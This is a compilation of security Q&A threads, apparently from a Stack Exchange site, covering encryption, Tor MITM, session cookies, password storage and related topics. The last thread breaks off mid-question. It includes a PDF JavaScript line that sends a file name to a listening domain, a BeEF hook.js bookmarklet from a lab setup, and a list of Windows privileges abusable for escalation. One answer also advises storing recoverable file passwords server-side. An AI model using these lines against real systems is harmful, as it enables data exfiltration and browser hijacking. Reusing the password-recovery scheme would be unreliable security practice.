What method would allow to achieve that? Specifically, how is it possible to control a piece of information but not be able to disclose the method to access it when tortured?

All encryption methods have a secret key that needs to be stored somewhere. The quote doesn't say that he can't "disclose the method to access it", it only says that there is no password involved. That's a much weaker statement.

This question basically comes down to whether there are encryption schemes that do not rely on a human brain for storing the secret. The answer is Yes. These two come to mind off the top of my head:

Public-key encryption: As suggested in comments, if he sent the data to a friend, encrypted with their public key and then deleted his copy, then Edward Snowden would legitimately no longer have access to the data (but the friend can give it back to him if needed).
Hardware based encryption: by this I mean any system where the encryption key is stored in hardware. An example would be a laptop with full disk encryption where the keys are stored on a smart card; unless you have the card, no amount of password-telling with decrypt the harddrive!
Low Tech It's also possible that he's using a lower-tech solution than you are imagining, for example generating a random 64 character password, writing it down on paper and giving the paper to a friend or storing it in a bank vault.

I'm not trying to imply that any of these are convenient, or even particularly good security measures, but they count as "passwordless encryption" enough to make his statement true. Or maybe he does have some magical encryption system whereby he, and only he, has access to the data regardless of how much information he gives you.

About journalists: I have helped a few journalists set up digital encryption systems, and I completely agree with that quote that technical ability and attitude towards protecting sensitive information varies wildly from journalist to journalist!


Stealing WiFi Internet connection I received a mail about illegally sharing copyright-protected material on the Internet; I never did it. I checked my router's configuration and noticed that the MAC address of one of the connected devices doesn't match any of my devices. I'm afraid that somebody somehow hacked my wireless network and used my Internet connection to illegally download something.

About the legal questions: I'm living in Germany. However I guess it would be interesting to know how things are in the different jurisdictions.

Is there any way for me to track this guy? I have his MAC address and can sniff his packets. Couldn't find any interesting detail in the packets since most of the packets are encrypted.
Should I contact the police?

Would the police be able to find out who bought a device with the given MAC address? Otherwise would they be able to get the packets decrypted to find out this guy's identity?
Do you believe the police will actually do anything? In case they will, how long do you think it would take?

I could change the router password right now  to lock out  this guy. I'm afraid, though, that if I do, it will be more difficult to prove that it was somebody else, rather than me, downloading the protected material. Is this fear found?

I have to say the usual 'I am not a lawyer' here, and don't know the current law in Germany ( I believe this is changing a lot in recent times, as it is in all countries).

You should probably lock the other guy out and choose a more secure protocol such as WPA2. Not a good idea to let an attacker keep access to your network.

Any lawyers for the copyright holders will be holding you responsible as the packets went through your connection. You can keep a log of the traffic for the intruder on your system. It won't be that much proof, as you could easily spoof a mac address yourself and become your own 'intruder'.

There's really no way to prove your innocence which is what you will be asked to do, since the copyright holders will argue that all they have to prove is that the offending traffic went through your connection. Making it your responsibility to secure your connection properly. You can claim that the manufacturer of the router or your ISP made the protection trivial to break, and that you assumed that since there was a password, you were secure.

You could try some kind of man-in-the-middle attack on the intruder, since you are the man-in-the-middle. This might allow you to decrypt enough traffic to identify him/her, though I doubt it. If the traffic is mostly encrypted, it will be hard to spoof SSL certificates at this stage. This also raises the question that if the traffic is encrypted, how do the copyright holders know what data was in the offending traffic going to your connection.

Beware that a lot of these type of letters by copyright holders are scare-tactics, sometimes not even from the real copyright holders, to extort some money from you to make the problem go away.

Some mac addresses you might not have thought of might also be on your network such as smartphones / tablets / smart-tv / gaming console ... these might be your 'intruder'


Can a malicious Tor exit node perform a HTTPS man-in-the-middle attack to see/modify your HTTPS traffic? Let's say I am browsing the Internet using Tor - visiting https://example.com/login.php - and the NSA is operating the Tor exit node which I am currently routed to use.

Can that NSA exit relay swap the HTTPS certificate with their own (and then assume that I accept it, either manually or automatically), capturing or modifying all traffic I receive and give to example.com - just like a proxy, your employer, or your ISP can?

Or is directly browsing a HTTPS site on Tor immune to such an 'exit node MITM' attack - and only unencrypted packets can ever be seen or modified by them?

(N.b. I use HTTP Nowhere to mitigate against vulnerabilities like sslstrip - so I am only talking about the specific scenario of exit node replacing certificates on-the-fly to decrypt the traffic themselves, assuming again that I accept their certificate by whatever means that occurs.)

Somebody owning a Tor exit node can sniff and modify any traffic. This includes of course also man-in-the-middle attacks against HTTPS connections. This is not only  theoretical attack but used in practice, see https://trac.torproject.org/projects/tor/ticket/8657. See also How safe is Tor from MITM/snooping attacks? for a more detailed answer.


Better security - Session ID in cookies vs. Encrypted cookie Debating these two methods of storing session data:

https://github.com/mozilla/node-client-sessions (Store all session data in the cookie and encrypt it)
https://github.com/expressjs/session (Session ID in cookies and use database to store session data)

Not sure which is more secure because after reading a little about the internals of node-client-sessions, there are a lot of potential attack vectors that need to be accounted for, and I'm not sure how much they account for. For example, they account for a timing attack by using a constantTime algorithm in one place. But there are many more potential vulnerabilities, and not being an expert I can't tell how well done it is as a library.

On the other hand, I have seen people say storing session id in the database is a no go. But at least here you could black list the session id.

Any advice or guidance would be greatly appreciated. Thank you.

The security difference will mostly be in the implementation details. Fundamentally both approaches are the same: you store a blob of data which is meaningless to the client on the client to preserve some state between requests. The difference is that session id cookies are in themselves meaningless because they do not represent any meaningful information, while the encrypted cookie is meaningless because the client does not possess the ability to decrypt the data.

Encrypted cookies are fundamentally more complex: they're larger in size, they require a complex algorithm, they require that algorithm to be correctly implemented, they do contain actual data and are thereby worth attacking, they do require the management of a secret key. They're also harder to revoke due to their decentralised nature.

Session id cookies are plain simple: a meaningless random id merely referring to data stored elsewhere. The only vulnerability* is guessability, which is easy enough to prevent by increasing the length and rotating and expiring ids. I have no idea why storing session ids/data in a database would be a bad idea in any way; as long as the database is secure, there's no issue there. If your data store is prone to attacks, you have bigger issues than where your session data is stored.

(* Aside from outright hijacking, which is the same vulnerability for all cookies, and implementation specific flaws like accepting undefined session ids etc.)

Given that, you need to decide whether the increased attack surface of encrypted cookies is worth the benefits of stateless servers, and whether you trust the implementation of the encryption. For high scalability I would seriously look into it, for small-scale services I would keep it as simple as possible.


Sending passwords to someone remotely As someone who usually works with people in other countries it has always been a problem to send login information to each-other.

For development login details like debug databases etc sure I can send them over in clear text email or something but when it comes to actual production information such as SSH keys how do you securely send them to someone when face to face contact isn't possible.

I usually use SMS. While not perfectly secure, this is more secure than email and generally adequate. It has the major benefit of not requiring any setup, such as exchanging PGP keys.

You could make this more secure by sending half of the password by email and half by SMS. Alternatively (as suggested by Michael Kropat) send a file with the symmetrically encrypted password by email, and SMS the decryption password.

For SSH keys, you should only transfer the public key. If you're granting a user access to a server, they should send you their public key, rather than you send them a private key. You still need to confirm the received key is authentic, but you don't need to keep it confidential.


How secure is Visual host key, and how is SHA2 converted into that representation? SHA2 has 256 bits of possibilities.

Visual host key seems to have the following

upper and lowercase = 26*2
numbers and symbols = 20
Additional symbols = 22

Total 94 characters represented in

9 columns
17 rows

How does visual host key generate the image?

Does the visual fingerprint uniquely identify a server's key?

No; the "visual host key" algorithm does not preserve enough information to give each key a 100%-guaranteed-unique image.  But neither does a more traditional fingerprint.  ECDSA keys like yours have 256 bits.  RSA keys have 2048.  But if you count the hex digits in your image, you come up with 32 of them: 128 bits.

Those 128 bits are an MD5 hash of the public key.  The MD5 algorithm is hard-coded in a lot of the code that generates fingerprints for display.

The visual host key algorithm (known as "randomart" in the source), takes that MD5 hash and uses it to trace a path.  As to how "secure" this is, I'll let the source speak for itself:

  If you see the picture is different, the key is different.
  If the picture looks the same, you still know nothing.

Isn't this insecure?  Isn't MD5 insecure?

If I wanted to trick you with a traditional fingerprint, I wouldn't bother with trying to generate a full MD5 collision of a pre-existing SSH key.  That's hard even today.

Instead, I'd generate keys until I found one where the first few digits and the last few digits of the fingerprint matched.  Unless you're very disciplined about validating, it wouldn't matter whether the fingerprint was MD5 or SHA256; your eyes would skim the number and it would look "good enough".  That's what the visual fingerprint is trying to protect against.

If you're paranoid, then don't use any human-verified fingerprint if you can help it, visual or otherwise.  Instead, put a known-good copy of the expected server key in your known_hosts file.

For more information, try:

https://superuser.com/a/22541/57026 -- which includes a link to a paper about the rationale behind the algorithm.
https://security.stackexchange.com/a/73157/14997 -- which includes a link to a paper about attacking the algorithm.

How is the picture generated?

Again, from the source:

  The algorithm used here is a worm crawling over a discrete plane,
  leaving a trace (augmenting the field) everywhere it goes.
  Movement is taken from dgst_raw 2bit-wise.  Bumping into walls
  makes the respective movement vector be ignored for this turn.
  Graphs are not unambiguous, because circles in graphs can be
  walked in either direction.

In more detail, the algorithm works roughly like this:

Start in the middle, and use the hash as a kind of treasure map for where to move next.  For each step, take the next two bits in the hash.  00 means move northwest; 01 means northeast; 10 means southwest; 11 means southeast.  Hug the wall if you bump into it.  Count the number of times you step on each square.

Finally, for each square you stepped on, choose a symbol based on the number of times you stepped on the square, from the following list of 14 symbols: .o+=*BOX@%&#/^.  (That's 15 symbols total if you include "" for unvisited squares.)  Mark your start and end points specially, with an S and an E, respectively.


Should I enable Google Auth login by default for my users? I have implemented Google login (OAuth2) login on my website. It matches users by e-mail, i.e. if your e-mail is the same in Google as in our system, and you have Google Auth enabled on my website, you are logged in.

Should I enable it for everyone by default? I want to do it on the assumption someone controls Google account, they control the associated e-mail account, and therefore they already have access to the user account on my website (since I implement password reset by e-mail).

Are there any security implications that I should be aware of?

oAuth is not an authentication mechanism. It handles authorization to access resources (usually an API).

From RFC 6749:

  The OAuth 2.0 authorization framework enables a third-party
  application to obtain limited access to an HTTP service, either on
  behalf of a resource owner by orchestrating an approval interaction
  between the resource owner and the HTTP service, or by allowing the
  third-party application to obtain access on its own behalf.

It is however also used by some as a way to authenticate users. You must trust that service because it has the keys to your resources (as opposed to allowing you to access their resources, with the agreement of their user - which is what oAuth is for)

Wikipedia points out the differences between oAuth and OpenID (which is an authentication protocol).


Send GET request from a PDF file I'm currently working on a security Proof Of Concept where I need to show the danger of opening an unknown PDF file.
Internet says that many malwares use Javascript in PDF document (AcroJS) to download their malicious payload.

My PoC is based on a victim who will demonstrate data leak based on opening a PDF file. I only needs to send the filename over Internet (to begin).
I can write Javascript code which launch at document opening but the Net.HTTP.request function can only be used in trusted context.
So I don't see how to make a GET request to my listening "evil" website.
I read that sometimes hackers use vulnerabilities in Acrobat to do their bad, but many places talk about the native ability of AcroJS to permit GET request.

Is anyone knowing how to do a one way GET request (the answer of the server is not even interesting in this case).

Maybe is there a way to include a remote (non existent) picture so the PDF will make a GET request to the specified URL.
Or something like this.

Thanks

Okay I find a way by using :

this.submitForm("http://mydomain.fr/var="+thedataIwant);

The user is prompted about a HTTP connection tentative but this is the vigilance I want to test for.
The articles of this guy help me a lot: https://acrobatusers.com/tutorials/author/parker


Windows privileges to escalate? What are the windows privileges that deserve to pay attention to prevent a user (non-admin) to escalate his privileges to the local admin group ?
I know SeDebugPrivilege, but what else ?

Thanks.

Edit for clarification : I am looking for a list of privileges that can be abused during escalation attempts. The goal is to check user's privileges to prevent escalade.

Aside from SeDebugPrivilege, the other major privilege that is abused during escalation attempts is SeImpersonatePrivilege (leveraged in tools like Incognito). This privilege can allow the user to steal impersonation and/or delegation tokens that are present on the machine.

That being said, there are a number of administrative privileges that theoretically have the potential to assist during privilege escalation attempts, including:

SeAssignPrimaryTokenPrivilege
SeTakeOwnershipPrivilege (owning and modifying objects to elevate privileges)
SeCreateTokenPrivilege
SeTcbPrivilege
SeRestorePrivilege (write access to any file)
SeLoadDriverPrivilege
SeSecurityPrivilege

An exhaustive list would be difficult to compose, and I couldn't say with any degree of certainty that any administrative privilege could not be somehow leveraged in this way.

Furthermore, similar to how SeTakeOwnershipPrivilege and SeRestorePrivilege might be abused, a common method of escalation from Domain User that I see regularly involves overwriting binaries or other code that will be executed by a higher-privileged account. As such, write access to service binaries, System32, the All Users 'Startup' directory, application executables etc can lead to other accounts (Local System, Administrators) executing an attacker's code. I have personally found that poorly configured file permissions are a more common attack vector when escalating from basic users.

A good overview of different methods, including some of those above: https://www.netspi.com/blog/entryid/112/windows-privilege-escalation-part-1-local-administrator-privileges


Tamper proof hardware - not resistant Can you make a TPM (or any piece of hardware) Completely tamper-proof?
The “regular” tamper resistant hardware has various physical attacks http://www.milinda-perera.com/pdf/EKKLP12a.pdf

I have been told that conducting-, air-tight-, pressurised- and gas containing metal boxes with sensor triggered explosives(or any other TPM killing function) could counter all known attacks. However I have not been able to find such proofs(article or experiment).

Edit - It might be named "Tamper respondant hardware", however I can only seem to find patterns for this search term.

The only thing I can think of that might be considered tamper-proof is a memory cell (SD-RAM or alike) with a "reset when line break" lock (triggered by resistance change and line break) that is contained in a liquid like phosphor, which is contained in a liquid oxidizer (a.k.a. instant flash when opened with thermal reaction preventing "cold save" of the memory data). The point is why would you want something that is "tamper-proof"... better not store the data at all if you're that concerned with people tampering with your system.


E-mail with just an image attached: could it be an attack? Today I received an e-mail to my GMail account with just an image attached, empty subject and body. E-mail came from another GMail account, with SPF and other checks passed. Sender account differs from mine only in one letter, and that letter replacement made account's name unintelligible, so I guess it was created specially for that e-mail.
Unfortunately my e-mail software was set to display attached images, so attached image was rendered. It was a screenshot of a browser window with some strange website opened in it. It doesn't look like an advertisement to me. I uploaded an image file to VirusTotal and it didn't give me any flags.
I'm pretty sure it's some kind of an attack (as it doesn't look like a simple spam), but I cannot understand what kind of attack it is. The only thing that comes to mind is that they found a vulnerability in some JPEG rendering library and are now trying to use it. Are there other possibilities that I'm missing?
Full headers and mail: https://pastebin.com/b2U0upTL
UPD: It's really the full mail. I opened GMail's basic HTML UI to avoid previewing attachments, clicked "Show original", copied it, replaced addresses with  and  and pasted to Pastebin. There were no subject and no content other than attachment. If there was any other clue, I wouldn't ask here.

Yup, could be an exploit for a JPEG parser, maybe trying to exploit a known vuln in the Android jpeg parser, hoping you'll open the email on your phone.
Another possibility is that it's a "beacon" or "tracking pixel" and the act of loading the image from the remote server tells them that your email address is active, the time you accessed it, your IP address, etc. Although usually that's just a 1x1 pixel image; weird to put a full large image.


How to set up a beef hook on another VM's browser in a NAT Network in VirtualBox I'm reading "Practical Web Penetration Testing". I'm using VirtualBox to run two VMs: Windows 7 with Mutillidae and KaliLinux where I want to use Beef. Both are connected to a Nat Network 10.0.2.0/24.

As it's said in the book, I set up the KaliLinux to have a static IP by modifying /etc/network/interfaces:

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

#Static IP Address
auto eth0
iface eth0 inet static
    address 10.0.2.99
    netmask 255.255.255.0
    network 10.0.2.0
    broadcast 10.0.2.255
    gateway 10.0.2.1

My Windows VM has IP 10.0.2.4.

I'm now trying to set up beef. When I open a tab on each of these VMs browsers to http://10.0.2.99:3000/demos/basic.html I do indeed get the browsers hooked as online browsers in the beef ui panel.

But I want to have a hook on Mutillidae. There's a button for that to copy as a bookmark to append the hook.js file for a given webpage:
javascript: (function () { var url = 'http://10.0.2.99:3000/hook.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();

When I run on that on either VMs browsers - opened on http://10.0.2.4/mutillidae/index.php -, it doesn't work. The hook.js file does get loaded, I can see it on firebug. But the browser never gets "hooked": I can't see it on the beef panel.

I even modified this portion of /etc/beef-xss/config.yaml:

# Reverse Proxy / NAT
        # If BeEF is running behind a reverse proxy or NAT
        #  set the public hostname and port here
        public: "10.0.2.99"      # public hostname/IP address
        #public_port: "" # experimental

And did some research but nothing...

Some weird stuff (or is that normal?):

From Kali 10.0.2.99

ping 10.0.2.99    - OK
ping 10.0.2.4     - KO --> But I can access 10.0.2.4/mutillidae/ !
ping 10.0.2.1     - OK
ping 10.0.2.0  -b - KO --> shouldn't I get answers from myself and gateway at least?

From W7 10.0.2.4

ping 10.0.2.99    - OK --> So it works in that direction but not in the other? And I can access beef's panel, demo, or hook.js
ping 10.0.2.4     - OK
ping 10.0.2.1     - OK
ping 10.0.2.0     - KO --> Reply from 10.0.2.4: Destination host unreachable. Is this why Kali can't access W7?

Why can't I set up a hook in Mutillidae on Win7 VM connected to the same Nat Network as Kali VM running beef?

Thanks.

If you need more details to help me out, don't hesitate. I'll edit my question to help you help me.

I usually when doing hackingtesting between two virtual machines set up two adapters on each one. First on each one as "NAT". That interface will provide internet access through my host (but you must know that NAT network will be different network for each vm). The second one will be as "NAT Network" and that will be the network that the virtual machines will share.

To setup this secondary network interface you'll need to set up first the range of NatNetwork on your Virtualbox. Click on "File", "Preferences", "Network". Click on the "plus" symbol to create one. It will be set as "NatNetwork". Then click on the gear icon to configure it. You can check my screenshot (sorry, the screenshot is in spanish):

Then configuring it you can set up any network range. I put in this case 12.0.0.0/24 in order to have a non-conflicting range.

After that, you must set up the secondary network interface on each virtual machine. Click on the vm, settings, network and enabled the secondary network interface selecting "Nat Network" and your created network.

If you do this on both machines, the machines will have a secondary network interface on 12.0.0.0/24 network and they will see the other machine flawlessly on that network. They will get an ip by DHCP and you'll be able to perform any hacking test.

Of course there are more ways to do that stuff but this one is easy and working. Good luck.


How to make a secure key distribution scheme/protocol? We are building a data processing platform on Amazon AWS. We are going to store sensitive data in the S3 (encrypted) and then the Amazon EC2 node is going to be utilized to process this data. We are planning to use hybrid encryption for the S3 data i.e. using symmetric Data Encryption Keys (DEK) & asymmetric Key Encryption Keys (KEK) & it will be done on client side before uploading the data to S3. The encrypted DEK will be stored with S3 object in metadata The are going to be group of datasets & the keys will be different for these datasets.

We are planning to build a small KMS system which can distribute keys to the EC2 nodes when they are going to process the data to decrypt it. The KMS will be hosted on our premises and the transfer of the keys will be on VPN.

The question we are having is regarding the most suitable Key Distribution Protocol to build to distribute the keys to EC2 nodes. We are considering building a webservice using REST/SSL to distribute the keys however since there are no WS-Security spec available for REST, we feel only REST/SSL will not suffice.

What can be additional implementation to tighten security?
What are ways to authenticate/provision the EC2 node when it calls the REST webservice that it is spawned by us?
What is most suitable - passing encrypted DEK to webservice & getting decrypted DEK vs simply getting KEK from the webservice & using it to decrypt DEK to decrypt the data?
Any additional points to consider?

First, you cannot securely move data over an untrusted network between two untrusted endpoints. To securely distribute anything, whether it's keys or 100 GB Blu-Ray images, you're going to need one of two things set up on each endpoint to establish initial mutual trust between the two:

A shared secret (i.e. a password or a shared key)
One half of an asymmetric keypair (i.e. a trusted certificate)

Second, you say you're using a VPN. The whole point of a VPN is to transform an untrusted network into a trusted network between two now-trusted endpoints. If your hosts automatically authenticate and join the VPN, they already have either a shared secret or a trusted certificate.

Assuming your VPN is encrypted, your data will already be encrypted in transit between your network and the EC2 network. If your EC2 hosts can join the VPN on startup, they already have enough information to identify themselves as one of your hosts. If they can't, you can establish trust when the hosts are manually connected to the VPN by an administrator.

Once the endpoints are authenticated to join your trusted network, your EC2 hosts can exchange certificates, establishing a trusted link all the way through. This is (sorta) how Kerberos works.

Note that this won't protect your data against:

A malicious insider - say, one of your own system or network admins
Programs that retain key material on the EC2 hosts longer than they need it

Third, at an absolute minimum, for your own protection, your company will want to be able to audit all access to key materials in a way that's secured against an attacker with root access. You may also need to audit all access to encrypted materials in the database. Think hard about what it would take to implement that.

Fourth, protecting your keys at rest (against an attacker who wants to gain root on your KMS or any of your EC2 hosts) is an entirely different problem, and it's even harder to solve than protecting keys in transit between two mutually trusted hosts. I've been involved in implementing a "PCI-DSS network island" in the past, and it's a giant pain.

I strongly recommend that your company hire a security consultant with experience setting up distributed key management systems. The problem here isn't only the known risks - the things you know you need to defend yourself against - but what Rumsfeld famously called the "unknown unknowns" - risks you don't even know you have.

As a developer myself, I wouldn't trust my abilities to design and implement a full crypto-system without outside advice from an expert.


What is the purpose of opportunistic TLS (like STARTTLS)? Opportunistic TLS refers to extensions in plain text communication protocols, which offer a way to upgrade a plain text connection to an encrypted (TLS or SSL) connection instead of using a separate port for encrypted communication...
  Source: Wikipedia

Opportunistic TLS can for example be used by IMAP and POP3 with the "STARTTLS" command1 or by FTP with the "AUTH TLS" command2.

Such commands raise the following questions:

Is the use of opportunistic TLS just for backwards compatibility (with a known/used port)?
Is an opportunistic TLS implementation anyhow different from the use of native/normally implemented TLS/SSL?
Can the same "level of security" as properly configured TLS be achieved through the use of opportunistic TLS?

Shortly: What is the purpose of opportunistic TLS?

1 RFC2595

2 RFC4217

In order:

  Is the use of opportunistic TLS just for backwards compatibility (with a known/used port)?

Yes.  When you have an existing service it is helpful to allow it to use TLS if the other end knows how, without requiring it to use TLS, to ensure you continue to be able to communicate with endpoints that do not know how.

  Is an opportunistic TLS implementation anyhow different from the use of native/normally implemented TLS/SSL?

From the perspective of the actual code, it certainly does not need to be.  For instance, many mail servers use OpenSSL for their opportunistic TLS implementations, just as an application might use OpenSSL for HTTPS traffic.

  Can the same "level of security" as properly configured TLS be achieved through the use of opportunistic TLS?

No.  Because it is designed for backwards compatibility, and uses the same ports as unencrypted traffic, a request to use opportunistic TLS can be stripped by an active man-in-the-middle, resulting in an unencrypted connection and transmission.   While HTTPS has some superficially similar issues such as SSL Strip, when using a protocol such as HTTPS it can be configured so that connections that aren't correctly protected by TLS simply fail.  You cannot do the same with opportunistic TLS which must always assume that the other end of the connection may in fact legitimately not want to use, or understand how to use TLS, and must downgrade to plain-text transmission gracefully.


Can a Router Cable/Wire be Affected or Infected by Malware? I know a router can be harmed by malware, but what about an router's ethernet cable/wire?

Can the cable/wire itself be infected or affected by malware?  (I'm wondering if I should throw my cable out and buy a new one if so, since I very likely had malware in my network?)

No for current network cables this won't be the case.

That said don't rule this out on future cables which contain tiny microchips like some of the Apple charging cables which have authenticator chips hidden in them. As time goes on these will have more features and more potential to be used in attacks. For now though you have nothing at all to worry about.

The following is a teardown of an Apple authenticator chip from a 3rd party adapter, the Apple OEM ones have a smaller form-factor but essentially the same chip. Note how small the actual chip is in the end of the video.

https://www.youtube.com/watch?v=r7ZQb17p-sU


How to give "Forgot password" option for a password encrypted file? I have created a utility that encrypts a file (.txt, .dox, so on...). The utility asks for a password from user at the time of file encryption.

Problem

Suppose a user has created 1000 encrypted files with different passwords and forgets his password of some file. How will he recover it?

My thoughts

I should log each password (encrypted) somewhere and by the name and size of file we can find the password of the file which can be provided to the user but here are some catches:

There can be many files with the same name and size
User can rename the file so here we will help less
If we try to find the password by only size then there can be many files with the same size, then it will not be a good way to provide user the exact password.

I also thought to send the whole password log to user on his registered email but then I found this LINK and changed my thoughts.

Request

What will be the best way to provide users the exact password of the encrypted file?

P.S: The utility is build using Objective-c, Cocoa for OSX

It sounds like your main question is about how to be able to match encrypted files with the clear-text password for that file in your database. You can use a secure hash function, say SHA-256 to solve this problem. The algorithm is

Get file and password from user.
Encrypt file using password.
Generate SHA-256 of encrypted file.
Store password in your database using SHA-256 as key. Note that this is where the risk lies. Be sure to encrypt the password with a key that you store in a separate location. You'll also need to record which user encrypted the file as you'll not want to let Bob get the clear-text password of Alice's encrypted file.

When a user requests the clear-text version of their password, you:

Calculate the SHA-256 of the file.
Find the matching hash in your database.
Perform appropriate access checks to make sure that this is their encrypted file.
Return the clear-text password to the user.


What is ideal way to store passwords? I am wondering what I should do with my passwords.

I have divided the accounts by importance into two groups:

a) the first one which are accounts like this one I am writing from. I have set them to write some post in forums. Basically, I do not care about them. Each is different. Where I could close the account I did, but I am using some of such accounts in order to use functionality I need, for example be accessible in a forum. I store them in one file which is encrypted on my external disk, actually I have two such disks, in two cities encrypted by VeraCrypt.
I think this is sufficient since I can't remember such a passwords etc.

b) the other set is more important, I would not mention what kind of accounts they are, but they are important for me. Recently I have changed all passwords for good ones, consisting of a sufficient number of characters and different types of them. Each account has a different password to prevent reuse one of my password in a different account. Actually, I did memorize them, but I am worried that one day I can just forget one of the passwords since some of them are not used often.

So, where can I store them?

1) I do not want to store them digitally, since I am not sure if I do not have exploit which can just steal the file I am storing them. Actually VeraCrypt documentation told me that an encrypted volume/container is encrypted in disk all the time and it is decrypted into memory each time. But what is the problem to do exploit which is dumping memory some time or triggered by some website opened? I could do that.

2) I do not want to use a password manager since I do not trust them. Ok, I can find one open source project and do my own investigation. But the problem I am scared of is that if one password would be compromised, for example by keylogger + exploit stealing the password manager file and I am out of the business.

3) The best way to store them is physically on paper since I trust my environment the most. But this is also not a good case theoretically. I do not have a safe.

So what do you recommend? What is the ideal model to store passwords? Where do you store them? I mean about a serious password, so b) group of my listing. The a) group are stored in encrypted files on an external disk and this is equally like I would store them in a password manager. I mean 1 password cracked = all passwords available. However, I am plugging this disk rarely so I guess even it is a bit safer than a password manager.

The comments have a good point regarding endpoint security of your threat model:

If you do not trust your endpoint to store the data, you shouldn’t trust it enough to input your data from a piece of paper.

Not trusting password managers is strange as well - did you do a full analysis yourself on veracrypt, which you seem to have trust in?

I‘m not advocating for dumping encryption technology at large, but a password manager is probably the easier-to-review code base when trust issues go that far.

Other than that, here are my tips for keeping good passwords - and you should do that regardless of the grouping you did (as it is only little overhead for not-as-important passwords)

Use a password manager that you trust.
Use a machine you trust.
Use a multi-factor authentication where possible (i.e. a U2F-token like a yubikey or at least a software based Token generator).
Do not reuse passwords.

There is another problem your threat model is not addressing which is availability: loosing those passwords will probably be bad. Thus, it is a good idea to keep the database you created on a second device. For example, you could export it with a PGP key encryption on a thumb drive you carry with you at all times and keep the key for that on a yubikey in a bank safe.

This way, you should be able to recover the keys and you can create new backups without needing access to the yubikey.


Repercussions on Google account used to access a compromised service Suppose the following scenario:

A cloud service reports a breach in which user account information (usernames and password data, e.g. password hashes) was accessed.
The attacker has sufficient resources to recover passwords from the hashes (worst-case assumption, not necessarily realistic)—or the service used a sufficiently weak hash algorithm (or even stored passwords in plain text).
Alice has an account on that service. However, she logs in with her Google account.

If the designers of the authentication protocol used did their homework, I assume the compromised service would not hold any data that would enable an attacker to access Alice’s account, and Alice would not need to take any actions in response.

Is my assumption correct, or have I overlooked something?

The google login uses OpenID Connect and therefore does not expose Alices credentials to the service.

Google handles the authentication process and passes the information, that this is indeed Alice to the service provider in the form of a token.

However, if Alice was tricked to enter the password for her google account in a phishing-form on the compromised service, it's still possible to get compromised.

Although it was a different question, Jens Erat provided a great explanation of the protocol involved.


Is this (explained in body) a possible attack vector when using haveibeenpwned API? I'm currently working on understanding and contemplating to implement password strength validation for sign ups in my app, to include checking haveibeenpwned if entered password is compromised elsewhere.

I understand the process involves the site sending a partial hash of the password to HIBP and HIBP will respond whether it's pwned.

I am also assuming that it is possible that HIBP stores logs of my API request and that it may contain information leading back to my app.

If HIBP gets hacked, and attacker gains access to the above hypothetical logs, assuming that it contains all the information in the original request – the partial hash and where it came from (my site), can the attacker construct an attack on my site is this way?

Hash the passwords in the list of pwned password and get a list of hashes
Match the partial hash he has with those in the above list and
derive a refined dictionary of  N number of possible passwords with
same partial hash
Try the passwords on my site

I am aware at every point in the above, measures can be put in place to mitigate each, e.g. 2FA. But it is not my objective to ask for how to secure my sign up, but to validate my concerns with using HIBP and whether there's an attack vector to be considered.

PS: I'm not a security expert but I do know how passwords and hashes work. As HIBP is new to me, I don't fully know how it works and all the features of its API. Pardon me if I made wrong assumptions.

Every decision in Information Security revolves around managing risk. If you ask me whether your hypothetical threat can materialise in an actual attack vector, I would say that theoretically it is possible, but practically highly unlikely.

The risk of an account compromise as a result of your application's users choosing a weak (or breached) password upon registration is definitely more significant and, therefore, you should manage that risk by implementing the necessary countermeasure. Here, HIBP is one countermeasure (among others such as password complexity requirements, 2FA, etc.) which reduces that risk to tolerable levels, but some form of residual risk still remains because of various other threats, including the one you mentioned. Having said that, you can further reduce the residual risk by downloading the PwnedPassword file and load it on a local database within your network.


What is the best anti virus for kali linux? Since using kali linux I've never really used one as i thought maybe it's built in....?

Kali is mainly for pentesting. It is not supposed to be used as "desktop distro". As far as I know, there is no antivirus and because of tons of exploits built-in you would destroy the whole distro by just installing it.

I would recommend to used it like:

Install, Update, Setup, Image then
Do a pentest / reimage,
Update, Image if updated
do a pentest reimage.
Update, Image if updated

... Go for Debian for normal use. Kali is based on it. But if you are beginner, I would recommend Ubuntu rather.

Regarding AV, use what @Matt Spaulding recommended


Is assigning decrypted keys to a variable in application secure? Let's say I've retrieved an encrypted secret key from the server. I decrypt it to get the actual secret key, assign the decrypted key to a variable in my app. Something along this:

const encryptedKey = fetchKeyFromServer();
const secretKey = decrypt(encryptedKey);
//Now, the variable secretKey has the actual secret key in memory

Now, is this a vulnerable thing to do in terms of security? Since I've stored the decrypted key in the memory, is there a chance that somebody might be able to reveal the secret key by reading off from the app's memory?

However, if I don't assign the decrypted key to a variable, how should I use the key? I've thought of assigning the encrypted key to the variable and decrypt it every time I need to use it. But I'm still not sure if this is the best way to do things.

Yes, it does mean that the key will be stored in the application’s memory. Yes, there is a risk that malware (with sufficient privilege) can read it from there. This risk is hard to avoid — if you want to use the key, you need to put it in memory, just as you need to put your house key in your pocket after you lock the door.

This is usually not considered a big deal for one reason — if there is malware with root privileges on a computer it’s already game over anyway. There is no way to keep anything safe at that point. Even if you don’t decrypt the key, the malware could just read the key that is used for that decryption from wherever it is stored.

Here are three things you can do to mitigate the risk:

Use some kind of HSM. (Thanks to DRF for pointing this out.) This is the best approach, but the feasibility depends on what platform you are working on. Do note though, that malware with enough privilege to read other processes’ memory can probably use the HSM as well. So this is not bulletproof against a malware infection.
Minimize the time the key is in memory to shrink the attack window by overwriting the memory after you are done. (As MSalters points out, this might not be as straight forward as it sounds. E.g. in C++ the optimizer might remove a write that is not read, and in Java strings are imutable so they can not be overwritten.)
As Vitor suggests, mark the memory page the key is stored on as unswappable so that it is never written to disk.


Logging and Metrics for DEP, EMET, and Related Mitigations Is it possible to collect metrics or generate alerts when one of EMET's suite of mitigations prevents code execution? Ideally I'd want to be able to collect and analyze data to support statements like, "deploying EMET blocked ### exploit attempts against our Windows PCs last year."

EMET 3.0 has been announced.

With EMET 3.0, we have included an additional new reporting capability that we call "EMET Notifier". When you install EMET 3.0, this lightweight component is set to automatically start with Windows.
EMET events are logged via the event source called EMET. These logs can be found in the Application log. There are three levels: Information, Warning and Error. Information messages are used for logging usual operation such as the EMET Notifier starting. Warning messages are used when EMET settings change. Error messages are used for logging cases where EMET stopped an application with one of its mitigations, which means an active attack has been blocked.

The new version looks like it puts the needed information into the Windows Event Log.


What simple security considerations can I / should I make for a read-only API? Right now I'm setting up an API, to be consumed on the client-side to set up a directory site. I'm wondering what extra steps I need to take just to prevent people from gaining write access to the data.

Some notes:

